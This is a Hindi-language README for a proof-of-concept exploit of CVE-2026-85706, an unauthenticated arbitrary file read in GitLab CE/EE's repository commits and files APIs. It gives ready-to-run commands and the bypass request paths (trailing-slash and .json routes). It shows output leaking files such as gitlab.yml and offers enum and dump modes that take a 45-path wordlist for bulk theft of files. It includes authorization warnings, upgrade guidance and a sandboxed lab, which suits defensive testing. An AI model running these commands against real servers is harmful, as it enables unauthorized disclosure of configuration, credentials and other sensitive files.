
CVE-2026-85706 के लिए PoC: GitLab CE/EE में अनधिकृत मनमाना स्थानीय फ़ाइल पठन
CVE-2026-85706 GitLab CE/EE के Repository Commits और Repository Files API में एक गंभीर path-traversal / missing-authentication समस्या है: एक अनधिकृत हमलावर सर्वर से मनमानी फ़ाइलें पढ़वा सकता है और error channel के माध्यम से उनकी सामग्री प्राप्त कर सकता है। CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)।
GitLab का आधिकारिक शीर्षक है "Path Traversal issue in repository commits API impacts GitLab CE/EE"। यह फिक्स 2026-09-10 को 19.3.2 / 19.2.6 / 19.1.8 में जारी हुआ।
[!IMPORTANT] self-managed GitLab <= 19.3.1 चला रहे हैं? 19.3.2 / 19.2.6 / 19.1.8 पर अपग्रेड करें।
[!WARNING] केवल अधिकृत उपयोग। इस टूल को केवल उन सिस्टम के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है।
इस रिपॉज़िटरी में एक स्वतंत्र proof of concept, एक न्यूनतम reproduction lab और एक पूर्ण तकनीकी विश्लेषण शामिल है:
किसी भी तृतीय-पक्ष सिस्टम से कैप्चर किया गया कोई डेटा शामिल नहीं है।
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
lab केवल 127.0.0.1 पर सुनता है और केवल अपने lab/vault/ sandbox के अंदर पढ़ता है, इसलिए यह आपकी वास्तविक मशीन की
फ़ाइलों को कभी छू नहीं सकता।
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
self-signed प्रमाणपत्रों के लिए --insecure जोड़ें, और encoded path की तुलना में numeric project id को प्राथमिकता दें
(group%2Fproject के बजाय --project <id>)।
| Command | Purpose | Key options |
|---|---|---|
check | क्या लक्ष्य vulnerable है? हर bypass vector की प्रतिक्रियाओं की तुलना करता है | --canary-path, --no-bypass-probe |
read | एक फ़ाइल पढ़ता है और बताता है कि उसकी सामग्री लीक होती है या नहीं | --file <path>, --media <type> |
enum | पथों की एक सूची की जाँच करता है और प्रत्येक को वर्गीकृत करता है | --wordlist, --wordlist-file |
dump | हर पठनीय फ़ाइल को disk पर सहेजता है, manifest और raw प्रतिक्रियाओं के साथ | --files, --files-file, --outdir |
check द्वारा प्रिंट किए जाने वाले लेबल:
| Label | Request path |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - क्या लक्ष्य vulnerable है?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Exit codes: 0 = vulnerable; 1 = परीक्षण किए गए vectors के साथ exploit करने योग्य नहीं (patched, या route अपहुँचनीय)।
जानने योग्य दो विवरण:
Workhorse bypass probe ब्लॉक routing प्रमाण है: file केवल तब मौजूद होता है जब Workhorse ने body को buffer और
sign किया हो, इसलिए 400 {"error":"file is missing"} साबित करता है कि bypass route ने उस pipeline को छोड़ दिया
जबकि फिर भी API तक पहुँच गया। patched build पर वह अंतिम पंक्ति HTTP 401 पढ़ती है।commits-canonical -> 401) control case है: वहाँ Workhorse file.path को फिर से लिखता है,
इसलिए हमलावर का मान कभी vulnerable कोड तक नहीं पहुँचता।read - एक फ़ाइल पढ़ें$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Exit codes: 0 = सामग्री का खुलासा हुआ, या baseline द्वारा पुष्ट pre-authentication read; 1 = कोई pre-auth read नहीं देखा गया।
enum / dump - बल्क probingpython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt में 45 रोचक GitLab/Linux पथ शामिल हैं; --wordlist / --files को inline या
फ़ाइल के माध्यम से दिया जा सकता है, और दोनों रूपों को संयोजित किया जा सकता है। ये केवल दो सबकमांड हैं जो वास्तविक फ़ाइल
सामग्री को छूते हैं - आउटपुट को इस रिपॉज़िटरी के बाहर लिखें और जो वे कैप्चर करते हैं उसे कभी प्रकाशित न करें।
| Option | Meaning |
|---|---|
--url <base URL> | लक्ष्य base URL (आवश्यक) |
--project <id or encoded path> | सार्वजनिक project id (123) या URL-encoded path (group%2Fproject), आवश्यक |
--token <PRIVATE-TOKEN> | वैकल्पिक; authenticated path का परीक्षण करें |
--insecure | TLS सत्यापन छोड़ें (self-signed प्रमाणपत्र) |
-v, --verbose | हर request/response को stderr पर प्रिंट करें |
--canary-path <path> | vulnerability baseline के रूप में उपयोग किया जाने वाला गारंटीड-अनुपस्थित path |
--color <mode> | auto (डिफ़ॉल्ट, वास्तविक terminal पर रंग), always, never |
विकल्पों का क्रम मायने रखता है: साझा विकल्प सबकमांड के बाद आते हैं - check --url ... --insecure, न कि
--url ... check।
| Test | Result |
|---|---|
Patched control - gitlab.com, 19.3.2+ | हर vector 401 लौटाता है; एकमात्र अन्य उत्तर 400 {"error":"file is missing"} है जो routing bypass साबित करता है |
Local lab - lab/vulnerable_api.py | Rails-side trust bug को end to end reproduce करता है; --patched तुलना build देता है |
| Real self-managed instance - 19.3.1, लिखित अनुमति | vulnerable की पुष्टि; host और project विवरण जानबूझकर यहाँ प्रकाशित नहीं किए गए। संकलित परिणाम ANALYSIS.md, section 4.3 में |
यह सामग्री security research और authorized testing के लिए प्रदान की गई है - आपका अपना lab, एक bug-bounty कार्यक्रम, या लिखित अनुमति के साथ penetration test। इसका उपयोग केवल उन सिस्टम के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। तृतीय-पक्ष सिस्टम तक अनधिकृत पहुँच अवैध है। जैसा है वैसा प्रदान किया गया, किसी भी प्रकार की वारंटी के बिना।